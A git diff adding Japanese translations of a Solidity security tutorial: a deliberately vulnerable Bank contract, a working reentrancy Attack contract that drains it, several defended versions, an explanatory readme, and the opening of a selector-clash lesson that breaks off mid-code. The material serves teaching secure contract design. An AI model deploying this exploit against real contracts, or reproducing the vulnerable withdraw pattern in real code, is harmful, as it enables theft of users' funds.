+ +## 参考文献 + +- [Solidity Docs](https://docs.soliditylang.org/en/v0.8.17/) +- [Solidity By Example](https://solidity-by-example.org/) +- [OpenZeppelin Contract](https://github.com/OpenZeppelin/openzeppelin-contracts) +- [solmate](https://github.com/transmissions11/solmate) +- [Chainlink Docs](https://docs.chain.link/) +- [Safe Contracts](https://github.com/safe-global/safe-contracts) +- [DeFi Hack Labs](https://github.com/SunWeb3Sec/DeFiHackLabs) +- [rekt news](https://rekt.news/) diff --git a/Languages/ja/S01_ReentrancyAttack_ja/Attack.sol b/Languages/ja/S01_ReentrancyAttack_ja/Attack.sol new file mode 100644 index 000000000..2e5955d5d --- /dev/null +++ b/Languages/ja/S01_ReentrancyAttack_ja/Attack.sol @@ -0,0 +1,103 @@ +// SPDX-License-Identifier: MIT +// by 0xAA +pragma solidity ^0.8.21; + +import "./Bank.sol"; + +/** + * @title Attack - リエントランシー攻撃コントラクト + * @notice Bankコントラクトに対してリエントランシー攻撃を実行するサンプルコントラクト + * @dev このコントラクトは教育目的のみで、悪意のある使用は禁止されています + */ +contract Attack { + Bank public bank; // 攻撃対象のBankコントラクトアドレス + + // イベント定義 + event AttackStarted(address attacker, uint256 initialDeposit); + event AttackCompleted(address attacker, uint256 stolenAmount); + event ReentrancyExecuted(uint256 bankBalance); + + /** + * @notice コンストラクタ - Bankコントラクトアドレスを初期化 + * @param _bank 攻撃対象のBankコントラクトアドレス + */ + constructor(Bank _bank) { + bank = _bank; + } + + /** + * @notice receive関数 - リエントランシー攻撃の核心部分 + * @dev ETHを受け取る際に自動的に呼び出される関数 + * + * 攻撃の仕組み: + * 1. Bankからwithdraw()でETHを受け取る + * 2. receive()が自動実行される + * 3. 銀行にまだ残高があれば再度withdraw()を呼び出す + * 4. この循環により銀行の残高が尽きるまで繰り返される + * + * なぜ成功するか: + * - Bank.withdraw()は送金後に残高を0にリセット + * - receive()が実行される時点では、まだ残高がリセットされていない + * - よって残高チェックを通過し続ける + */ + receive() external payable { + emit ReentrancyExecuted(bank.getBalance()); + + // 銀行に1 ether以上の残高がある限り、再度出金を試みる + if (bank.getBalance() >= 1 ether) { + bank.withdraw(); + } + } + + /** + * @notice 攻撃実行関数 + * @dev リエントランシー攻撃を開始する + * + * 攻撃手順: + * 1. 1 ETHを預金(正当なユーザーになりすます) + * 2. withdraw()を呼び出して出金開始 + * 3. receive()関数が連鎖的に呼び出される + * 4. 銀行の全資産を奪取完了 + */ + function attack() external payable { + require(msg.value == 1 ether, "Require 1 Ether to attack"); + + emit AttackStarted(msg.sender, msg.value); + + // ステップ1: 正当なユーザーとして1 ETHを預金 + bank.deposit{value: 1 ether}(); + + // ステップ2: 出金を開始(ここからリエントランシー攻撃が始まる) + bank.withdraw(); + + emit AttackCompleted(msg.sender, address(this).balance); + } + + /** + * @notice このコントラクトの残高を取得 + * @return 攻撃により奪取したETHの総額 + */ + function getBalance() external view returns (uint256) { + return address(this).balance; + } + + /** + * @notice 攻撃者への資金引き出し機能 + * @dev 攻撃完了後、奪取した資金を攻撃者に送金 + */ + function withdrawStolenFunds() external { + require(address(this).balance > 0, "No funds to withdraw"); + + // 攻撃者に全資金を送金 + (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); + require(success, "Failed to send stolen funds"); + } + + /** + * @notice 緊急停止機能(デモ用) + * @dev 攻撃をシミュレートする際の安全装置 + */ + function emergencyStop() external { + selfdestruct(payable(msg.sender)); + } +} \ No newline at end of file diff --git a/Languages/ja/S01_ReentrancyAttack_ja/Bank.sol b/Languages/ja/S01_ReentrancyAttack_ja/Bank.sol new file mode 100644 index 000000000..20b2e9410 --- /dev/null +++ b/Languages/ja/S01_ReentrancyAttack_ja/Bank.sol @@ -0,0 +1,66 @@ +// SPDX-License-Identifier: MIT +// by 0xAA +pragma solidity ^0.8.21; + +/** + * @title Bank - 脆弱性のある銀行コントラクト + * @notice リエントランシー攻撃の脆弱性を持つサンプルコントラクト + * @dev このコントラクトは教育目的のみで、実際の使用は推奨されません + */ +contract Bank { + mapping (address => uint256) public balanceOf; // ユーザー残高のマッピング + + // イベント定義 + event Deposit(address indexed user, uint256 amount); + event Withdraw(address indexed user, uint256 amount); + + /** + * @notice etherを預け、残高を更新する + * @dev ユーザーの残高を増加させる安全な関数 + */ + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + emit Deposit(msg.sender, msg.value); + } + + /** + * @notice msg.senderの全てのetherを引き出す + * @dev 【警告】この関数にはリエントランシー脆弱性があります! + * 問題点: + * 1. 残高チェック後に外部送金を実行 + * 2. 送金後に残高を更新(遅延更新) + * 3. 外部コントラクトのfallback/receive関数が呼ばれる可能性 + */ + function withdraw() external { + // ステップ1: 残高を取得 + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + + // ステップ2: ether送金 + // 【危険】悪意のあるコントラクトのfallback/receive関数を起動する可能性があり、 + // リエントランシーリスクがある! + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + + // ステップ3: 残高を更新(この時点で攻撃者は既に再入済み) + balanceOf[msg.sender] = 0; + emit Withdraw(msg.sender, balance); + } + + /** + * @notice 銀行コントラクトの総残高を取得 + * @return このコントラクトが保有するETHの総額 + */ + function getBalance() external view returns (uint256) { + return address(this).balance; + } + + /** + * @notice 特定ユーザーの残高を取得 + * @param user 残高を確認したいユーザーのアドレス + * @return ユーザーの残高 + */ + function getUserBalance(address user) external view returns (uint256) { + return balanceOf[user]; + } +} \ No newline at end of file diff --git a/Languages/ja/S01_ReentrancyAttack_ja/SafeBank.sol b/Languages/ja/S01_ReentrancyAttack_ja/SafeBank.sol new file mode 100644 index 000000000..de7ab5c5e --- /dev/null +++ b/Languages/ja/S01_ReentrancyAttack_ja/SafeBank.sol @@ -0,0 +1,248 @@ +// SPDX-License-Identifier: MIT +// by 0xAA +pragma solidity ^0.8.21; + +/** + * @title SafeBank - チェック-エフェクト-インタラクションパターンによる安全な銀行コントラクト + * @notice リエントランシー攻撃を防ぐためのパターン実装例 + * @dev checks-effect-interactionパターンを適用した安全なコントラクト + */ +contract SafeBankCEI { + mapping (address => uint256) public balanceOf; // ユーザー残高のマッピング + + // イベント定義 + event Deposit(address indexed user, uint256 amount); + event Withdraw(address indexed user, uint256 amount); + + /** + * @notice etherを預け、残高を更新する + * @dev ユーザーの残高を増加させる安全な関数 + */ + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + emit Deposit(msg.sender, msg.value); + } + + /** + * @notice チェック-エフェクト-インタラクションパターンを使用した安全な出金関数 + * @dev リエントランシー攻撃を防ぐため、先に状態を更新してから外部相互作用を行う + * + * パターンの説明: + * 1. Checks(チェック): 条件や残高の確認 + * 2. Effects(エフェクト): 状態変数の更新 + * 3. Interactions(インタラクション): 外部コントラクトとの相互作用 + */ + function withdraw() external { + // ステップ1: Checks(チェック) - 残高を確認 + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + + // ステップ2: Effects(エフェクト) - 先に状態を更新 + // 【重要】送金前に残高を0にリセット + // リエントランシー攻撃時、balanceOf[msg.sender]は既に0になっているため + // 上記のrequireチェックで攻撃を阻止できる + balanceOf[msg.sender] = 0; + + // ステップ3: Interactions(インタラクション) - 外部相互作用 + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + + emit Withdraw(msg.sender, balance); + } + + /** + * @notice 銀行コントラクトの総残高を取得 + * @return このコントラクトが保有するETHの総額 + */ + function getBalance() external view returns (uint256) { + return address(this).balance; + } + + /** + * @notice 特定ユーザーの残高を取得 + * @param user 残高を確認したいユーザーのアドレス + * @return ユーザーの残高 + */ + function getUserBalance(address user) external view returns (uint256) { + return balanceOf[user]; + } +} + +/** + * @title ProtectedBank - リエントランシーロックによる安全な銀行コントラクト + * @notice リエントランシーガードを使用してリエントランシー攻撃を防ぐ + * @dev nonReentrantモディファイアを使用した安全なコントラクト + */ +contract ProtectedBank { + mapping (address => uint256) public balanceOf; // ユーザー残高のマッピング + uint256 private _status; // リエントランシーロック用の状態変数 + + // リエントランシーガードの状態定数 + uint256 private constant _NOT_ENTERED = 0; + uint256 private constant _ENTERED = 1; + + // イベント定義 + event Deposit(address indexed user, uint256 amount); + event Withdraw(address indexed user, uint256 amount); + + /** + * @notice コンストラクタ - リエントランシーロックを初期化 + */ + constructor() { + _status = _NOT_ENTERED; + } + + /** + * @notice リエントランシーガードモディファイア + * @dev 関数の再入を防ぐためのモディファイア + * + * 動作原理: + * 1. 最初の呼び出し時:_status = 0 → チェック通過 → _status = 1に設定 + * 2. リエントランシー時:_status = 1 → チェック失敗 → revert + * 3. 正常終了時:_status = 0に復元 + */ + modifier nonReentrant() { + // 最初のnonReentrant呼び出し時、_statusは_NOT_ENTERED(0)になる + require(_status == _NOT_ENTERED, "ReentrancyGuard: reentrant call"); + + // この後のnonReentrantへの呼び出しはすべて失敗する + _status = _ENTERED; + + _; // 関数本体を実行 + + // 呼び出し終了、_statusを_NOT_ENTEREDに復元 + _status = _NOT_ENTERED; + } + + /** + * @notice etherを預け、残高を更新する + * @dev ユーザーの残高を増加させる安全な関数 + */ + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + emit Deposit(msg.sender, msg.value); + } + + /** + * @notice リエントランシーロックで保護された出金関数 + * @dev nonReentrantモディファイアでリエントランシー攻撃を防ぐ + */ + function withdraw() external nonReentrant { + // 残高を確認 + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + + // ETHを送金(リエントランシーロックにより再入は阻止される) + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + + // 残高を更新 + balanceOf[msg.sender] = 0; + emit Withdraw(msg.sender, balance); + } + + /** + * @notice 銀行コントラクトの総残高を取得 + * @return このコントラクトが保有するETHの総額 + */ + function getBalance() external view returns (uint256) { + return address(this).balance; + } + + /** + * @notice 特定ユーザーの残高を取得 + * @param user 残高を確認したいユーザーのアドレス + * @return ユーザーの残高 + */ + function getUserBalance(address user) external view returns (uint256) { + return balanceOf[user]; + } +} + +/** + * @title PullPaymentBank - プル支払いパターンによる安全な銀行コントラクト + * @notice OpenZeppelinが推奨するPullPaymentパターンの実装例 + * @dev エスクロー方式により直接送金を避け、ユーザーが自発的に資金を引き出す仕組み + */ +contract PullPaymentBank { + mapping (address => uint256) public balanceOf; // ユーザー残高のマッピング + mapping (address => uint256) public pendingWithdrawals; // 出金待ちの残高 + + // イベント定義 + event Deposit(address indexed user, uint256 amount); + event WithdrawalRequested(address indexed user, uint256 amount); + event WithdrawalCompleted(address indexed user, uint256 amount); + + /** + * @notice etherを預け、残高を更新する + * @dev ユーザーの残高を増加させる安全な関数 + */ + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + emit Deposit(msg.sender, msg.value); + } + + /** + * @notice 出金リクエスト関数 + * @dev 直接送金せず、出金可能額として記録する(Push → Pull変換) + */ + function requestWithdrawal() external { + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + + // ユーザーの残高を出金待ち残高に移動 + balanceOf[msg.sender] = 0; + pendingWithdrawals[msg.sender] += balance; + + emit WithdrawalRequested(msg.sender, balance); + } + + /** + * @notice 実際の出金実行関数 + * @dev ユーザーが自発的に資金を引き出す(Pull方式) + * + * Pull方式の利点: + * 1. 外部コントラクトへの直接送金を避ける + * 2. ユーザーが制御するタイミングで資金受取 + * 3. リエントランシーリスクの大幅な軽減 + */ + function withdraw() external { + uint256 amount = pendingWithdrawals[msg.sender]; + require(amount > 0, "No pending withdrawals"); + + // 出金待ち残高をリセット + pendingWithdrawals[msg.sender] = 0; + + // 資金をユーザーに送金 + (bool success, ) = msg.sender.call{value: amount}(""); + require(success, "Failed to send Ether"); + + emit WithdrawalCompleted(msg.sender, amount); + } + + /** + * @notice 銀行コントラクトの総残高を取得 + * @return このコントラクトが保有するETHの総額 + */ + function getBalance() external view returns (uint256) { + return address(this).balance; + } + + /** + * @notice 特定ユーザーの残高を取得 + * @param user 残高を確認したいユーザーのアドレス + * @return ユーザーの残高 + */ + function getUserBalance(address user) external view returns (uint256) { + return balanceOf[user]; + } + + /** + * @notice 特定ユーザーの出金待ち残高を取得 + * @param user 確認したいユーザーのアドレス + * @return ユーザーの出金待ち残高 + */ + function getPendingWithdrawal(address user) external view returns (uint256) { + return pendingWithdrawals[user]; + } +} \ No newline at end of file diff --git a/Languages/ja/S01_ReentrancyAttack_ja/img/S01-1.png b/Languages/ja/S01_ReentrancyAttack_ja/img/S01-1.png new file mode 100644 index 000000000..c86a9e957 Binary files /dev/null and b/Languages/ja/S01_ReentrancyAttack_ja/img/S01-1.png differ diff --git a/Languages/ja/S01_ReentrancyAttack_ja/readme.md b/Languages/ja/S01_ReentrancyAttack_ja/readme.md new file mode 100644 index 000000000..90d2f510a --- /dev/null +++ b/Languages/ja/S01_ReentrancyAttack_ja/readme.md @@ -0,0 +1,221 @@ +--- +title: S01. リエントランシー攻撃 +tags: + - solidity + - security + - fallback + - modifier +--- + +# WTF Solidity 合約セキュリティ: S01. リエントランシー攻撃 + +私は最近Solidityを学び直して詳細を固めており、「WTF Solidity 合約セキュリティ」を書いています。初心者向けの内容で(プログラミング上級者は他のチュートリアルをお探しください)、毎週1-3講座を更新しています。 + +Twitter:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubでオープンソース化されています:[github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +今回は、最も一般的なスマートコントラクト攻撃の一つである**リエントランシー攻撃**について紹介します。この攻撃は、イーサリアムをETHとETC(イーサリアムクラシック)に分岐させる原因となったもので、その防止方法についても説明します。 + +## リエントランシー攻撃 + +リエントランシー攻撃は、スマートコントラクトで最も一般的な攻撃の一つです。攻撃者はコントラクトの脆弱性(例:フォールバック関数)を利用してコントラクトを循環的に呼び出し、コントラクト内の資産を奪取したり、大量のトークンを鋳造したりします。 + +有名なリエントランシー攻撃事件: + +- 2016年、The DAOコントラクトがリエントランシー攻撃を受け、ハッカーがコントラクトから3,600,000枚の`ETH`を盗み、イーサリアムが`ETH`チェーンと`ETC`(イーサリアムクラシック)チェーンに分岐する原因となりました。 +- 2019年、合成資産プラットフォームSynthetixがリエントランシー攻撃を受け、3,700,000枚の`sETH`が盗まれました。 +- 2020年、貸付プラットフォームLendf.meがリエントランシー攻撃を受け、$25,000,000が盗まれました。 +- 2021年、貸付プラットフォームCREAM FINANCEがリエントランシー攻撃を受け、$18,800,000が盗まれました。 +- 2022年、アルゴリズム安定コインプロジェクトFeiがリエントランシー攻撃を受け、$80,000,000が盗まれました。 + +The DAOがリエントランシー攻撃を受けてから6年が経ちましたが、毎年数回、リエントランシー脆弱性によって数千万ドルの損失を出すプロジェクトが後を絶ちません。そのため、この脆弱性を理解することは非常に重要です。 + +## `0xAA`の銀行強盗の物語 + +皆さんの理解を深めるために、「ハッカー`0xAA`の銀行強盗」の物語をお話しします。 + +イーサリアム銀行の窓口係員はすべてロボット(Robot)で、スマートコントラクトによって制御されています。通常のユーザー(User)が銀行にお金を引き出しに来た時のサービスフロー: + +1. ユーザーの`ETH`残高を照会し、0より大きい場合は次のステップに進む。 +2. ユーザーの`ETH`残高を銀行からユーザーに送金し、ユーザーに受け取ったかどうかを確認する。 +3. ユーザー名義の残高を`0`に更新する。 + +ある日、ハッカー`0xAA`が銀行にやってきました。これは彼とロボット窓口係員の会話です: + +- 0xAA : お金を引き出したい、`1 ETH`。 +- Robot: あなたの残高を照会中:`1 ETH`。あなたのアカウントに`1 ETH`を送金中です。お金を受け取りましたか? +- 0xAA : ちょっと待って、お金を引き出したい、`1 ETH`。 +- Robot: あなたの残高を照会中:`1 ETH`。あなたのアカウントに`1 ETH`を送金中です。お金を受け取りましたか? +- 0xAA : ちょっと待って、お金を引き出したい、`1 ETH`。 +- Robot: あなたの残高を照会中:`1 ETH`。あなたのアカウントに`1 ETH`を送金中です。お金を受け取りましたか? +- 0xAA : ちょっと待って、お金を引き出したい、`1 ETH`。 +- ... + +最終的に、`0xAA`はリエントランシー攻撃の脆弱性を利用して、銀行の資産をすべて奪い取りました。銀行は破綻しました。 + +![](./img/S01-1.png) + +## 脆弱性コントラクトの例 + +### 銀行コントラクト + +銀行コントラクトは非常にシンプルで、すべてのユーザーのイーサリアム残高を記録する1つの状態変数`balanceOf`と、3つの関数を含んでいます: + +- `deposit()`:預金関数。`ETH`を銀行コントラクトに預け、ユーザーの残高を更新します。 +- `withdraw()`:出金関数。呼び出し者の残高を彼らに送金します。具体的なステップは上記の物語と同じです:残高照会、送金、残高更新。**注意:この関数にはリエントランシー脆弱性があります!** +- `getBalance()`:銀行コントラクト内の`ETH`残高を取得します。 + +```solidity +contract Bank { + mapping (address => uint256) public balanceOf; // 残高mapping + + // etherを預け、残高を更新 + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // msg.senderの全てのetherを引き出し + function withdraw() external { + uint256 balance = balanceOf[msg.sender]; // 残高を取得 + require(balance > 0, "Insufficient balance"); + // ether送金 !!! 悪意のあるコントラクトのfallback/receive関数を起動する可能性があり、リエントランシーリスクがある! + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + // 残高を更新 + balanceOf[msg.sender] = 0; + } + + // 銀行コントラクトの残高を取得 + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +### 攻撃コントラクト + +リエントランシー攻撃の攻撃ポイントの一つは、コントラクトが`ETH`を送金する箇所です:送金先アドレスがコントラクトの場合、相手コントラクトの`fallback`(フォールバック)関数がトリガーされ、循環呼び出しの可能性が生まれます。フォールバック関数について詳しく知らない場合は、[WTF Solidity 極簡チュートリアル第19講:ETHの受け取り](https://github.com/AmazingAng/WTF-Solidity/blob/main/19_Fallback/readme.md)をお読みください。`Bank`コントラクトの`withdraw()`関数には`ETH`送金があります: + +``` +(bool success, ) = msg.sender.call{value: balance}(""); +``` + +もしハッカーが攻撃コントラクトの`fallback()`または`receive()`関数内で`Bank`コントラクトの`withdraw()`関数を再度呼び出した場合、`0xAA`の銀行強盗の物語のような循環呼び出しが発生し、`Bank`コントラクトが攻撃者に継続的に送金し、最終的にコントラクトの`ETH`を空にしてしまいます。 + +```solidity + receive() external payable { + bank.withdraw(); + } +``` + +以下は攻撃コントラクトです。ロジックは非常にシンプルで、`receive()`フォールバック関数を通じて`Bank`コントラクトの`withdraw()`関数を循環呼び出しします。1つの状態変数`bank`で`Bank`コントラクトのアドレスを記録します。4つの関数を含んでいます: + +- コンストラクタ: `Bank`コントラクトのアドレスを初期化します。 +- `receive()`: コールバック関数。`ETH`を受け取る時にトリガーされ、再度`Bank`コントラクトの`withdraw()`関数を呼び出し、循環的に出金します。 +- `attack()`:攻撃関数。まず`Bank`コントラクトの`deposit()`関数で預金し、その後`withdraw()`を呼び出して最初の出金を開始します。その後、`Bank`コントラクトの`withdraw()`関数と攻撃コントラクトの`receive()`関数が循環呼び出しされ、`Bank`コントラクトの`ETH`を空にします。 +- `getBalance()`:攻撃コントラクト内の`ETH`残高を取得します。 + +```solidity +contract Attack { + Bank public bank; // Bankコントラクトアドレス + + // Bankコントラクトアドレスを初期化 + constructor(Bank _bank) { + bank = _bank; + } + + // コールバック関数、Bankコントラクトへのリエントランシー攻撃に使用、対象のwithdraw関数を繰り返し呼び出す + receive() external payable { + if (bank.getBalance() >= 1 ether) { + bank.withdraw(); + } + } + + // 攻撃関数、呼び出し時msg.valueを1 etherに設定 + function attack() external payable { + require(msg.value == 1 ether, "Require 1 Ether to attack"); + bank.deposit{value: 1 ether}(); + bank.withdraw(); + } + + // このコントラクトの残高を取得 + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +## `Remix`デモ + +1. `Bank`コントラクトをデプロイし、`deposit()`関数を呼び出して`20 ETH`を送金します。 +2. 攻撃者のウォレットに切り替えて、`Attack`コントラクトをデプロイします。 +3. `Attack`コントラクトの`attack()`関数を呼び出して攻撃を開始します。呼び出し時に`1 ETH`を送金する必要があります。 +4. `Bank`コントラクトの`getBalance()`関数を呼び出すと、残高が空になっていることがわかります。 +5. `Attack`コントラクトの`getBalance()`関数を呼び出すと、残高が`21 ETH`になっており、リエントランシー攻撃が成功したことがわかります。 + +もちろん、`ETH`送金だけでなく、`ERC721`と`ERC1155`の`safeTransfer()`と`safeTransferFrom()`安全送金関数、さらに`ERC777`の`callback`関数も、リエントランシー攻撃を引き起こす可能性があります。これは主にマクロ的な設計問題であり、ETH送金自体に限定されるものではありません。 + +## 予防方法 + +現在、リエントランシー攻撃脆弱性を予防する主な方法は2つあります:チェック-エフェクト-インタラクションパターン(checks-effect-interaction)とリエントランシーロックです。 + +### チェック-エフェクト-インタラクションパターン + +チェック-エフェクト-インタラクションパターンは、関数を書く際に、まず状態変数が要件を満たしているかチェックし、続いて状態変数(例:残高)を更新し、最後に他のコントラクトとのインタラクションを行うことを強調しています。`Bank`コントラクトの`withdraw()`関数で残高更新を`ETH`送金の前に移動すれば、脆弱性を修正できます: + +```solidity +function withdraw() external { + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + // チェック-エフェクト-インタラクションパターン(checks-effect-interaction):先に残高変化を更新し、その後ETHを送信 + // リエントランシー攻撃の時、balanceOf[msg.sender]は既に0に更新されており、上記のチェックを通過できない。 + balanceOf[msg.sender] = 0; + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); +} +``` + +### リエントランシーロック + +リエントランシーロックは、リエントランシー関数を防ぐためのモディファイア(modifier)で、デフォルトで`0`の状態変数`_status`を含んでいます。`nonReentrant`リエントランシーロックで修飾された関数は、最初の呼び出し時に`_status`が`0`かどうかをチェックし、続いて`_status`の値を`1`に変更し、呼び出し終了後に再び`0`に戻します。これにより、攻撃コントラクトが呼び出し終了前に2回目の呼び出しを行うとエラーが発生し、リエントランシー攻撃は失敗します。モディファイアについて詳しく知らない場合は、[WTF Solidity 極簡チュートリアル第11講:モディファイア](https://github.com/AmazingAng/WTF-Solidity/blob/main/11_Modifier/readme.md)をお読みください。 + +```solidity +uint256 private _status; // リエントランシーロック + +// リエントランシーロック +modifier nonReentrant() { + // 最初のnonReentrant呼び出し時、_statusは0になる + require(_status == 0, "ReentrancyGuard: reentrant call"); + // この後のnonReentrantへの呼び出しはすべて失敗する + _status = 1; + _; + // 呼び出し終了、_statusを0に復元 + _status = 0; +} +``` + +`nonReentrant`リエントランシーロックで`withdraw()`関数を修飾するだけで、リエントランシー攻撃を予防できます。 + +```solidity +// リエントランシーロックで脆弱性のある関数を保護 +function withdraw() external nonReentrant{ + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + + balanceOf[msg.sender] = 0; +} +``` + +さらに、OpenZeppelinもPullPayment(プル支払い)パターンに従うことを推奨し、潜在的なリエントランシー攻撃を回避しています。その原理は、第三者(escrow)を導入することで、従来の「能動的送金」を「送金者による送金開始」と「受取者による能動的プル」に分解することです。送金を開始したい場合、`_asyncTransfer(address dest, uint256 amount)`を通じて送金予定金額を第三者コントラクトに保存し、リエントランシーによる自身の資産損失を回避します。受取者が送金を受け取りたい場合、`withdrawPayments(address payable payee)`を能動的に呼び出して資産を取得する必要があります。 + +## まとめ + +今回は、イーサリアムで最も一般的な攻撃の一つ──リエントランシー攻撃について紹介し、理解を深めるために`0xAA`の銀行強盗の小話を作りました。最後に、リエントランシー攻撃を予防する2つの方法を紹介しました:チェック-エフェクト-インタラクションパターン(checks-effect-interaction)とリエントランシーロックです。例では、ハッカーが対象コントラクトの`ETH`送金時にフォールバック関数を利用してリエントランシー攻撃を行いました。実際のビジネスでは、`ERC721`と`ERC1155`の`safeTransfer()`と`safeTransferFrom()`安全送金関数、さらに`ERC777`のフォールバック関数も、リエントランシー攻撃を引き起こす可能性があります。初心者の方には、リエントランシーロックでコントラクト状態を変更する可能性のあるすべての`external`関数を保護することをお勧めします。より多くの`gas`を消費する可能性がありますが、より大きな損失を予防できます。 \ No newline at end of file diff --git a/Languages/ja/S02_SelectorClash_ja/readme.md b/Languages/ja/S02_SelectorClash_ja/readme.md new file mode 100644 index 000000000..f2f1be8af --- /dev/null +++ b/Languages/ja/S02_SelectorClash_ja/readme.md @@ -0,0 +1,98 @@ +--- +title: S02. セレクタークラッシュ +tags: + - solidity + - security + - selector + - abi encode +--- + +# WTF Solidity 合約セキュリティ: S02. セレクタークラッシュ + +私は最近Solidityを学び直して詳細を固めており、「WTF Solidity 合約セキュリティ」を書いています。初心者向けの内容で(プログラミング上級者は他のチュートリアルをお探しください)、毎週1-3講座を更新しています。 + +Twitter:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubでオープンソース化されています:[github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +今回は、セレクタークラッシュ攻撃について紹介します。これは、クロスチェーンブリッジPoly Networkが被害を受けた原因の一つです。2021年8月、Poly NetworkのETH、BSC、Polygon上のクロスチェーンブリッジコントラクトが盗難に遭い、損失は6.11億ドルにも達しました([まとめ](https://rekt.news/zh/polynetwork-rekt/))。これは2021年最大のブロックチェーンハッキング事件であり、歴史上被害額第2位の事件で、Ronin ブリッジハッキング事件に次ぐものです。 + +## セレクタークラッシュ + +イーサリアムスマートコントラクトにおいて、関数セレクターは関数シグネチャ `"()"` のハッシュ値の最初の`4`バイト(`8`桁の16進数)です。ユーザーがコントラクトの関数を呼び出す際、`calldata`の最初の`4`バイトがターゲット関数のセレクターとなり、どの関数を呼び出すかを決定します。詳しく知りたい場合は、[WTF Solidity極簡チュートリアル第29講:関数セレクター](https://github.com/AmazingAng/WTF-Solidity/blob/main/29_Selector/readme.md)をお読みください。 + +関数セレクターは`4`バイトしかなく、非常に短いため、衝突しやすいという特徴があります。つまり、異なる2つの関数でも同じ関数セレクターを持つことがあります。例えば、`transferFrom(address,address,uint256)`と`gasprice_bit_ether(int128)`は同じセレクター`0x23b872dd`を持ちます。もちろん、スクリプトを書いてブルートフォース攻撃することも可能です。 + +![](./img/S02-1.png) + +同じセレクターに対応する異なる関数を調べるには、以下の2つのウェブサイトを使用できます: + +1. https://www.4byte.directory/ +2. https://sig.eth.samczsun.com/ + +以下の`Power Clash`ツールを使用してブルートフォース攻撃を行うこともできます: + +1. PowerClash: https://github.com/AmazingAng/power-clash + +一方、ウォレットの公開鍵は`64`バイトあり、衝突する確率はほぼ`0`で、非常に安全です。 + +## `0xAA` スフィンクスの謎を解く + +イーサリアムの人々が神々を怒らせ、神々は激怒しました。天后ヘラはイーサリアムの人々を罰するため、イーサリアムの崖の上にスフィンクスという人面獅身の女怪物を降らせました。彼女は崖を通りかかるすべてのイーサリアムユーザーに謎かけを出しました:「朝は四本足で歩き、昼は二本足で歩き、夕方は三本足で歩く。すべての生物の中で、異なる数の足で歩く唯一の生物は何か。足の数が最も多い時が、速度と力が最も小さい時である。」この神秘的で理解しがたい謎について、答えを当てた者は生き延び、当てられなかった者はすべて食べられてしまいました。通りかかる人々はすべてスフィンクスに食べられ、イーサリアムユーザーは恐怖に陥りました。スフィンクスはセレクター`0x10cd2dc7`を使って答えが正しいかどうかを検証していました。 + +ある日の朝、オイディプスがこの場所を通りかかり、女怪物に会い、この神秘的で不可思議な謎を当てました。彼は言いました:「これは`"function man()"`です!生命の朝において、彼は子供で、二本の脚と二本の手で這い回ります。生命の昼になると、彼は壮年となり、二本の脚だけで歩きます。生命の夕方になると、彼は年老いて体が衰え、杖の助けを借りて歩かなければならないので、三本足と呼ばれます。」謎が当てられた後、オイディプスは生き延びることができました。 + +その日の午後、`0xAA`がこの場所を通りかかり、女怪物に会い、この神秘的で不可思議な謎を当てました。彼は言いました:「これは`"function peopleLduohW(uint256)"`です!生命の朝において、彼は子供で、二本の脚と二本の手で這い回ります。生命の昼になると、彼は壮年となり、二本の脚だけで歩きます。生命の夕方になると、彼は年老いて体が衰え、杖の助けを借りて歩かなければならないので、三本足と呼ばれます。」謎が再び当てられた後、スフィンクスは怒り狂い、足を滑らせて高い崖から落ちて死んでしまいました。 + +![](./img/S02-2.png) + +## 脆弱性コントラクトの例 + +### 脆弱性コントラクト + +以下は脆弱性のあるコントラクトの例です。`SelectorClash`コントラクトには1つの状態変数`solved`があり、初期値は`false`で、攻撃者はこれを`true`に変更する必要があります。コントラクトには主に2つの関数があり、関数名はPoly Network脆弱性コントラクトから引用されています。 + +1. `putCurEpochConPubKeyBytes()` :攻撃者がこの関数を呼び出すと、`solved`を`true`に変更でき、攻撃を完了できます。しかし、この関数は`msg.sender == address(this)`をチェックするため、呼び出し元はコントラクト自体である必要があります。他の関数を確認する必要があります。 + +2. `executeCrossChainTx()` :これを通じてコントラクト内の関数を呼び出すことができますが、関数パラメータの型とターゲット関数は少し異なります:ターゲット関数のパラメータは`(bytes)`ですが、ここで呼び出される関数のパラメータは`(bytes,bytes,uint64)`です。 + +```solidity +contract SelectorClash { + bool public solved; // 攻撃が成功したかどうか 